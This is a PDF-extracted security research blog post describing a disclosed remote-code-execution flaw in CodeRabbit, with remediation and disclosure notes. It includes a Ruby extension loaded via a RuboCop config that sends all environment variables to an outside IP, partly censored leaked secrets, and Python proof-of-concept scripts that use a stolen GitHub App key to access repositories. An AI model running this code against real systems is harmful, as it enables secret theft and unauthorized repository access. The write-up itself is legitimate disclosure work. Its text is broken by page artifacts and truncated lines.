How We Exploited CodeRabbit - From A Simple PR To RCE and Write Access On 1M Repositories - Kudelski Security Research
How We Exploited CodeRabbit - From A Simple PR To RCE and Write Access On 1M Repositories - Kudelski Security Research
HOME CATEGORIES
HOME CATEGORIES
SEARCH
…
Search
CATEGO
RIES
Select Category
HOW WE EXPLOITED
CODERABBIT: FROM A SIMPLE
ARCHIV
PR TO RCE AND WRITE ACCESS ES
1 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Leave a comment
TWITTE
In this blog post, we explain how we got remote R
code execution (RCE) on CodeRabbit’s production @KUDEL
servers, leaked their API tokens and secrets, how
SKISEC
we could have accessed their PostgreSQL My
database, and how we obtained read and write Tweets
access to 1 million code repositories, including
private ones.
2 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Introduction
Last December, I spoke at 38C3 in Hamburg and
covered 2 security �aws I discovered in Qodo
Merge. After getting o� the stage, someone came
to me and asked whether I had looked at other AI
code review tools, such as CodeRabbit. I thanked
them and said this would be a great target to have
a look at. Fast forward a couple of weeks, and here
I am, having a look at their security.
What is CodeRabbit?
3 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
4 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
CodeRabbit pricing
5 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
6 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
7 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
8 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Exploiting external
tools
I had a look at the o�cial CodeRabbit
documentation and noticed that CodeRabbit
supported running dozens of static analysis tools.
These are the linters and SAST tools mentioned on
the CodeRabbit pricing page discussed above.
9 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
10 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
1 require:
2 - ./ext.rb
1 require 'net/http'
2 require 'uri'
3 require 'json'
4
5 # Collect environment variables
6 env_vars = ENV.to_h
7
8 # Convert environment variables to JSON format
9 json_data = env_vars.to_json
10
11 # Define the URL to send the HTTP POST request
12 url = URI.parse('http://1.2.3.4/')
13
14 begin
15 # Create the HTTP POST request
16 http = Net::HTTP.new(url.host, url.port)
17 request = Net::HTTP::Post.new(url.path)
18 request['Content-Type'] = 'application/json'
19 request.body = json_data
20
21 # Send the request
22 response = http.request(request)
23 rescue StandardError => e
24 puts "An error occurred: #{e.message}"
25 end
11 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
12 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
main.rb
# Contains dummy
# Ruby code so
# that Rubocop
# gets executed
puts "hello"
.rubocop.yml
# Instructs
# Rubocop to load
# extension in
# file ext.rb
require:
./ext.rb
13 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
ext.rb
# Malicious Ruby
# code goes here
#
# Example:
#
# Send all env vars
# to http://1.2.3.4
Unpacking what we
found
After we created our malicious PR, CodeRabbit ran
Rubocop on our code, which executed our
malicious code and sent its environment variables
to our server at 1.2.3.4.
1 {
2 "ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)"
3 "ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSOR
4 "ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORE
5 "ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSOR
6 "ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSO
7 "APERTURE_AGENT_ADDRESS": "(CENSORED)"
8 "APERTURE_AGENT_KEY": "(CENSORED)"
9 "AST_GREP_ESSENTIALS": "ast-grep-essentials"
10 "AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-
14 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
11 "AWS_ACCESS_KEY_ID": "",
12 "AWS_REGION": "",
13 "AWS_SECRET_ACCESS_KEY": "",
14 "AZURE_GPT4OMINI_DEPLOYMENT_NAME"
15 "AZURE_GPT4O_DEPLOYMENT_NAME":
16 "AZURE_GPT4TURBO_DEPLOYMENT_NAME"
17 "AZURE_O1MINI_DEPLOYMENT_NAME":
18 "AZURE_O1_DEPLOYMENT_NAME": "",
19 "AZURE_OPENAI_API_KEY": "",
20 "AZURE_OPENAI_ENDPOINT": "",
21 "AZURE_OPENAI_ORG_ID": "",
22 "AZURE_OPENAI_PROJECT_ID": "",
23 "BITBUCKET_SERVER_BOT_TOKEN": ""
24 "BITBUCKET_SERVER_BOT_USERNAME"
25 "BITBUCKET_SERVER_URL": "",
26 "BITBUCKET_SERVER_WEBHOOK_SECRET"
27 "BUNDLER_ORIG_BUNDLER_VERSION":
28 "BUNDLER_ORIG_BUNDLE_BIN_PATH":
29 "BUNDLER_ORIG_BUNDLE_GEMFILE":
30 "BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PR
31 "BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PR
32 "BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRE
33 "BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/r
34 "BUNDLER_ORIG_RB_USER_INSTALL":
35 "BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRE
36 "BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRE
37 "CI": "true",
38 "CLOUD_API_URL": "https://(CENSORED)"
39 "CLOUD_RUN_TIMEOUT_SECONDS": "3600"
40 "CODEBASE_VERIFICATION": "true"
41 "CODERABBIT_API_KEY": "",
42 "CODERABBIT_API_URL": "https://
43 "COURIER_NOTIFICATION_AUTH_TOKEN"
44 "COURIER_NOTIFICATION_ID": "(CENSORED)"
45 "DB_API_URL": " https://(CENSORED)"
46 "ENABLE_APERTURE": "true",
47 "ENABLE_DOCSTRINGS": "true",
48 "ENABLE_EVAL": "false",
49 "ENABLE_LEARNINGS": "",
50 "ENABLE_METRICS": "",
51 "ENCRYPTION_PASSWORD": "(CENSORED)"
52 "ENCRYPTION_SALT": "(CENSORED)"
53 "FIREBASE_DB_ID": "",
54 "FREE_UPGRADE_UNTIL": "2025-01-15"
55 "GH_WEBHOOK_SECRET": "(CENSORED)"
56 "GITHUB_APP_CLIENT_ID": "(CENSORED)"
57 "GITHUB_APP_CLIENT_SECRET": "(CENSORED)"
58 "GITHUB_APP_ID": "(CENSORED)",
59 "GITHUB_APP_NAME": "coderabbitai"
60 "GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE K
61 "GITHUB_CONCURRENCY": "8",
15 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
62 "GITHUB_ENV": "",
63 "GITHUB_EVENT_NAME": "",
64 "GITHUB_TOKEN": "",
65 "GITLAB_BOT_TOKEN": "(CENSORED)"
66 "GITLAB_CONCURRENCY": "8",
67 "GITLAB_WEBHOOK_SECRET": "",
68 "HOME": "/root",
69 "ISSUE_PROCESSING_BATCH_SIZE":
70 "ISSUE_PROCESSING_START_DATE":
71 "JAILUSER": "jailuser",
72 "JAILUSER_HOME_PATH": "/home/jailuser"
73 "JIRA_APP_ID": "(CENSORED)",
74 "JIRA_APP_SECRET": "(CENSORED)"
75 "JIRA_CLIENT_ID": "(CENSORED)",
76 "JIRA_DEV_CLIENT_ID": "(CENSORED)"
77 "JIRA_DEV_SECRET": "(CENSORED)"
78 "JIRA_HOST": "",
79 "JIRA_PAT": "",
80 "JIRA_SECRET": "(CENSORED)",
81 "JIRA_TOKEN_URL": "https://auth.atlassian.com/oa
82 "K_CONFIGURATION": "pr-reviewer-saas"
83 "K_REVISION": "pr-reviewer-saas-(CENSORED)"
84 "K_SERVICE": "pr-reviewer-saas"
85 "LANGCHAIN_API_KEY": "(CENSORED)"
86 "LANGCHAIN_PROJECT": "default",
87 "LANGCHAIN_TRACING_SAMPLING_RATE_CR"
88 "LANGCHAIN_TRACING_V2": "true",
89 "LANGUAGETOOL_API_KEY": "(CENSORED)"
90 "LANGUAGETOOL_USERNAME": "(CENSORED)"
91 "LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib
92 "LINEAR_PAT": "",
93 "LLM_PROVIDER": "",
94 "LLM_TIMEOUT": "300000",
95 "LOCAL": "false",
96 "NODE_ENV": "production",
97 "NODE_VERSION": "22.9.0",
98 "NPM_CONFIG_REGISTRY": "http://
99 "OAUTH2_CLIENT_ID": "",
100 "OAUTH2_CLIENT_SECRET": "",
101 "OAUTH2_ENDPOINT": "",
102 "OPENAI_API_KEYS": "sk-proj-(CENSORED)"
103 "OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)"
104 "OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)"
105 "OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)"
106 "OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)"
107 "OPENAI_BASE_URL": "",
108 "OPENAI_ORG_ID": "",
109 "OPENAI_PROJECT_ID": "",
110 "PATH": "/pnpm:/usr/local/go/bin:/root/.local/bi
111 "PINECONE_API_KEY": "(CENSORED)"
112 "PINECONE_ENVIRONMENT": "us-central1-gcp"
16 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
17 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
18 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Getting Read/write
access to 1M
repositories
As mentioned above, one of the environment
variables was named GITHUB_APP_PEM_FILE and its
value contained a private key. This is actually the
private key of the CodeRabbit GitHub app. This
private key can be used to authenticate to the
GitHub REST API and act on behalf of the
CodeRabbit GitHub app. Since users of CodeRabbit
have granted CodeRabbit write access to their
repositories, this private key gives us write access
to 1 million repositories!
19 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
1 "permissions": {
2 "actions": "read",
3 "checks": "read",
4 "contents": "write",
5 "discussions": "read",
6 "issues": "write",
7 "members": "read",
8 "metadata": "read",
9 "pull_requests": "write",
10 "statuses": "write"
11 },
20 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
21 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Proof of concept
Here’s an example of how this can be achieved
using the PyGitHub Python library, assuming that
the private key is stored in a �le called priv.pem and
that we have the app ID and client ID (also leaked
from the environment variables):
1 #!/usr/bin/env python3
2 import json
3 import time
4
5 import jwt
6 import requests
7 from github import Auth, GithubIntegration
8
9 with open("priv.pem", "r") as f:
10 signing_key = f.read()
11
12 app_id = "TODO_insert_app_id_here"
13 client_id = "Iv1.TODO_insert_client_id_here"
14
15
22 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
16 def gen_jwt():
17 payload = {
18 # Issued at time
19 'iat': int(time.time() - 60
20 # JWT expiration time (10 minutes maximum)
21 'exp': int(time.time()) +
22 # GitHub App's client ID
23 'iss': client_id
24 }
25
26 # Create JWT
27 encoded_jwt = jwt.encode(payload, signing_key,
28 return encoded_jwt
29
30
31 def create_access_token(install_id, jwt):
32 response = requests.post(
33 f"https://api.github.com/app/installations/
34 headers={
35 "Accept": "application/vnd.github+json"
36 "Authorization": f"Bearer {jwt}"
37 "X-GitHub-Api-Version"
38 }
39 )
40 j = response.json()
41 access_token = j["token"]
42 return access_token
43
44
45 def auth():
46 auth = Auth.AppAuth(app_id, signing_key)
47 gi = GithubIntegration(auth=auth)
48 app = gi.get_app()
49
50 # iterate through app installations, get the fi
51 for installation in gi.get_installations().
52 install_id = installation.
53
54 # or access an installation by its ID directly
55 installation = gi.get_app_installation(install_
56
57 jwt = gen_jwt()
58 create_access_token(install_id, jwt)
59
60 # get all github repositories this installation
61 repos = installation.get_repos()
62 for repo in repos:
63 full_name = repo.full_name
64 stars = repo.stargazers_count
65 html_url = repo.html_url
66 is_private_repo = repo.private
23 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
67 clone_url = f"https://x-access-token:
68 print(clone_url)
69
70 # repo can be cloned with "git clone {clone
71 # access token is valid for 10 minutes, but
72
73 if __name__ == "__main__":
74 auth()
Leaking CodeRabbit’s
private repositories
We mentioned earlier that we couldn’t con�rm the
presence of the original source code of CodeRabbit
on the production Docker container. Well, since
CodeRabbit eats their own dog food, they run
CodeRabbit on their own GitHub repositories. We
can therefore easily retrieve the app installation ID
for their GitHub organization and list the
repositories this app installation has access to.
24 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
• https://github.com/coderabbitai/mono
• https://github.com/coderabbitai/pr-reviewer-
saas
• https://github.com/coderabbitai/e2e-reviewer
• https://github.com/coderabbitai/pr-reviewer-
client
• https://github.com/coderabbitai/db-client
• https://github.com/coderabbitai/rabbits-lab
• https://github.com/coderabbitai/website
• https://github.com/coderabbitai/hubspot-
reporting
1 #!/usr/bin/env python3
2 import time
3
4 import jwt
5 import requests
6 from github import Auth, GithubIntegration
7
8 with open("priv.pem", "r") as f:
9 signing_key = f.read()
10
11 app_id = "CENSORED"
12 client_id = "CENSORED"
13
25 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
14
15 def gen_jwt():
16 payload = {
17 # Issued at time
18 'iat': int(time.time() - 60
19 # JWT expiration time (10 minutes maximum)
20 'exp': int(time.time()) +
21 # GitHub App's client ID
22 'iss': client_id
23 }
24
25 # Create JWT
26 encoded_jwt = jwt.encode(payload, signing_key,
27 return encoded_jwt
28
29
30 def auth():
31 auth = Auth.AppAuth(app_id, signing_key)
32 gi = GithubIntegration(auth=auth)
33
34 # Target a specific Github organization that us
35 org = "coderabbitai"
36 installation = gi.get_org_installation(org)
37
38 # Target a specific Github user that uses CodeR
39 # user = "amietn"
40 # installation = gi.get_user_installation(user)
41
42 print(installation.id)
43 gen_token = True
44
45 if gen_token:
46 jwt = gen_jwt()
47 response = requests.post(
48 f"https://api.github.com/app/installati
49 headers={
50 "Accept": "application/vnd.github+j
51 "Authorization": f
52 "X-GitHub-Api-Version"
53 }
54 )
55 j = response.json()
56 access_token = j["token"]
57
58 repos = installation.get_repos()
59 print("---repos---")
60 for repo in repos:
61 full_name = repo.full_name
62 html_url = repo.html_url
63 private = repo.private
64 if private:
26 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Impacts summary
Let’s take a moment to summarize the impacts of
getting write access to these 1 million repositories.
A malicious person could have performed the
following operations on a�ected repositories:
27 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Context is key
While running the exploit, CodeRabbit would still
review our pull request and post a comment on
the GitHub PR saying that it detected a critical
security risk, yet the application would happily
28 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Remediation
CodeRabbit supports running dozens of external
tools. These tools may get updates and new tools
may be supported. Both cases may open the door
to new ways of running arbitrary code. Therefore,
trying to prevent arbitrary code execution through
these tools sounds like an impossible task.
29 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
severe.
Responsible disclosure
After responsibly disclosing this critical
vulnerability to the CodeRabbit team, we learned
from them that they had an isolation mechanism
in place, but Rubocop somehow was not running
inside it. The CodeRabbit team was extremely
responsive and acknowledged receipt of the
disclosure the same day. They immediately
disabled Rubocop and rotated the secrets and
started working on a �x. The next week they told
us that the vulnerability had been �xed. Kudos to
the CodeRabbit team for responding promptly and
�xing the issue.
30 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
Conclusions
In the end, we only provided PoCs and didn’t take
things further. A patient attacker could have
enumerated the available access, identi�ed the
highest value targets, and then attacked those
targets to distribute malware to countless others
in a larger supply chain attack. Security is hard,
and a variety of factors can come together to
create security issues. Being quick to respond and
remediate, as the CodeRabbit team was, is a
critical part of addressing vulnerabilities in
modern, fast-moving environments. Other vendors
we contacted never responded at all, and their
products are still vulnerable.
31 of 32 8/19/25, 22:48
How We Exploited CodeRabbit: From a Simple PR to RCE a... https://research.kudelskisecurity.com/2025/08/19/how-we-ex...
LEAVE A REPLY
Blog at WordPress.com.
32 of 32 8/19/25, 22:48